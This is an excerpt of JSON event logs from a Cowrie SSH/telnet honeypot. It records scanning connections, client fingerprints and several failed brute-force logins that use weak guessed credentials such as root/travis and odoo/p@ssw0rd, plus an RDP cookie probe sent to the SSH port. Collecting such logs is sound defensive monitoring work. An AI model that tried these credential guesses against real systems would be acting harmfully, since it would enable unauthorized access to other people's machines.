{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":48468,"dst_ip":"159.203.135.109","dst_port":23,"session":"37315c241247","protocol":"telnet","message":"New connection: 161.132.53.68:48468 (159.203.135.109:23) [session: 37315c241247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:07.781274Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":33742,"dst_ip":"10.17.0.5","dst_port":22,"session":"de8c16c36c35","protocol":"ssh","message":"New connection: 124.18.182.99:33742 (10.17.0.5:22) [session: de8c16c36c35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:11.365549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:11.370247Z","src_ip":"124.18.182.99","session":"de8c16c36c35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:11.542685Z","src_ip":"124.18.182.99","session":"de8c16c36c35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":48482,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cfce8a78f51","protocol":"telnet","message":"New connection: 161.132.53.68:48482 (159.203.135.109:23) [session: 0cfce8a78f51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:11.945745Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123123123","message":"login attempt [deploy/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:12.260445Z","src_ip":"124.18.182.99","session":"de8c16c36c35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:13.436535Z","src_ip":"124.18.182.99","session":"de8c16c36c35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.119.37.141","src_port":53522,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1720e42aa3f","protocol":"ssh","message":"New connection: 220.119.37.141:53522 (10.17.0.5:22) [session: f1720e42aa3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:14.828179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:14.840619Z","src_ip":"220.119.37.141","session":"f1720e42aa3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:15.035578Z","src_ip":"220.119.37.141","session":"f1720e42aa3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.105.172.184","src_port":46892,"dst_ip":"159.203.135.109","dst_port":22,"session":"9899b34b5310","protocol":"ssh","message":"New connection: 200.105.172.184:46892 (159.203.135.109:22) [session: 9899b34b5310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:15.160996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:15.166284Z","src_ip":"200.105.172.184","session":"9899b34b5310","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:15.284644Z","src_ip":"200.105.172.184","session":"9899b34b5310","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.009094953536987,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:15.451584Z","src_ip":"161.132.53.68","session":"02bf70bf47df","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer2024","message":"login attempt [developer/developer2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:15.777632Z","src_ip":"200.105.172.184","session":"9899b34b5310","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"travis","message":"login attempt [root/travis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:15.837396Z","src_ip":"220.119.37.141","session":"f1720e42aa3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":61389,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bcac0972b9b","protocol":"ssh","message":"New connection: 103.149.252.223:61389 (159.203.135.109:22) [session: 6bcac0972b9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:16.209142Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:16.218260Z","src_ip":"103.149.252.223","session":"6bcac0972b9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:16.225020Z","src_ip":"103.149.252.223","session":"6bcac0972b9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:16.896586Z","src_ip":"200.105.172.184","session":"9899b34b5310","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:17.036396Z","src_ip":"220.119.37.141","session":"f1720e42aa3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.36416459083557,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:21.802503Z","src_ip":"161.132.53.68","session":"555227d2aaa8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52390,"dst_ip":"159.203.135.109","dst_port":23,"session":"7af600749f3a","protocol":"telnet","message":"New connection: 161.132.53.68:52390 (159.203.135.109:23) [session: 7af600749f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:22.350578Z"}
{"eventid":"cowrie.session.closed","duration":31.16629695892334,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:22.441129Z","src_ip":"161.132.53.68","session":"0076e2df96cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":37074,"dst_ip":"10.17.0.5","dst_port":23,"session":"90ba0d316ba7","protocol":"telnet","message":"New connection: 104.245.105.2:37074 (10.17.0.5:23) [session: 90ba0d316ba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:26.291097Z"}
{"eventid":"cowrie.session.closed","duration":31.07011842727661,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:27.290386Z","src_ip":"104.245.105.2","session":"30e11e00a45c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":41494,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0df3b56fb17","protocol":"telnet","message":"New connection: 161.132.53.68:41494 (159.203.135.109:23) [session: a0df3b56fb17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:27.461356Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":41498,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a4149eaf2c1","protocol":"telnet","message":"New connection: 161.132.53.68:41498 (159.203.135.109:23) [session: 6a4149eaf2c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:30.720471Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":41510,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4eacaff6902","protocol":"telnet","message":"New connection: 161.132.53.68:41510 (159.203.135.109:23) [session: a4eacaff6902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:34.458284Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":58062,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fa0fb6caecc","protocol":"ssh","message":"New connection: 88.205.172.170:58062 (10.17.0.5:22) [session: 1fa0fb6caecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:35.273362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:35.278032Z","src_ip":"88.205.172.170","session":"1fa0fb6caecc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:35.448486Z","src_ip":"88.205.172.170","session":"1fa0fb6caecc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"p@ssw0rd","message":"login attempt [odoo/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:36.155919Z","src_ip":"88.205.172.170","session":"1fa0fb6caecc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:37.331659Z","src_ip":"88.205.172.170","session":"1fa0fb6caecc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.63650584220886,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:37.755118Z","src_ip":"161.132.53.68","session":"08f9c24e5e9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.017489194869995,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:38.897974Z","src_ip":"161.132.53.68","session":"e7e50ee4477c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.19086170196533,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:39.972028Z","src_ip":"161.132.53.68","session":"37315c241247","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":42228,"dst_ip":"159.203.135.109","dst_port":23,"session":"48e169e1d3d9","protocol":"telnet","message":"New connection: 174.142.104.49:42228 (159.203.135.109:23) [session: 48e169e1d3d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:42.397172Z"}
{"eventid":"cowrie.session.closed","duration":30.492270469665527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:42.437881Z","src_ip":"161.132.53.68","session":"0cfce8a78f51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":36946,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d68fc6ab90e","protocol":"ssh","message":"New connection: 114.35.59.237:36946 (10.17.0.5:22) [session: 6d68fc6ab90e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:42.974602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:42.979364Z","src_ip":"114.35.59.237","session":"6d68fc6ab90e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:43.190439Z","src_ip":"114.35.59.237","session":"6d68fc6ab90e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"password","message":"login attempt [odoo/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:44.067468Z","src_ip":"114.35.59.237","session":"6d68fc6ab90e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:45.283094Z","src_ip":"114.35.59.237","session":"6d68fc6ab90e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":49472,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a2bbbdc516a","protocol":"telnet","message":"New connection: 161.132.53.68:49472 (159.203.135.109:23) [session: 1a2bbbdc516a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:46.292465Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52214,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf5d06754af0","protocol":"telnet","message":"New connection: 161.132.53.68:52214 (159.203.135.109:23) [session: bf5d06754af0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:48.579135Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52220,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6e70dbf31d7","protocol":"telnet","message":"New connection: 161.132.53.68:52220 (159.203.135.109:23) [session: b6e70dbf31d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:50.660216Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52230,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0bd9b580370","protocol":"telnet","message":"New connection: 161.132.53.68:52230 (159.203.135.109:23) [session: c0bd9b580370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:50.719820Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.96.41.213","src_port":8880,"dst_ip":"159.203.135.109","dst_port":23,"session":"99bc0ba3cbe7","protocol":"telnet","message":"New connection: 117.96.41.213:8880 (159.203.135.109:23) [session: 99bc0ba3cbe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:51.348283Z"}
{"eventid":"cowrie.session.closed","duration":32.42866826057434,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:54.779113Z","src_ip":"161.132.53.68","session":"7af600749f3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37142,"dst_ip":"159.203.135.109","dst_port":23,"session":"69456b60c725","protocol":"telnet","message":"New connection: 174.142.104.49:37142 (159.203.135.109:23) [session: 69456b60c725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:55.347173Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":40814,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5d1030eb359","protocol":"telnet","message":"New connection: 161.132.53.68:40814 (159.203.135.109:23) [session: a5d1030eb359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:57.751514Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41576,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f41ffc51e9b","protocol":"telnet","message":"New connection: 174.142.104.49:41576 (159.203.135.109:23) [session: 5f41ffc51e9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:57.944364Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":40826,"dst_ip":"159.203.135.109","dst_port":23,"session":"a00935fb3ae5","protocol":"telnet","message":"New connection: 161.132.53.68:40826 (159.203.135.109:23) [session: a00935fb3ae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:59.289147Z"}
{"eventid":"cowrie.session.closed","duration":33.13412070274353,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:00.595381Z","src_ip":"161.132.53.68","session":"a0df3b56fb17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.450830459594727,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:02.171174Z","src_ip":"161.132.53.68","session":"6a4149eaf2c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.126878261566162,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:04.475002Z","src_ip":"117.96.41.213","session":"99bc0ba3cbe7","protocol":"telnet"}
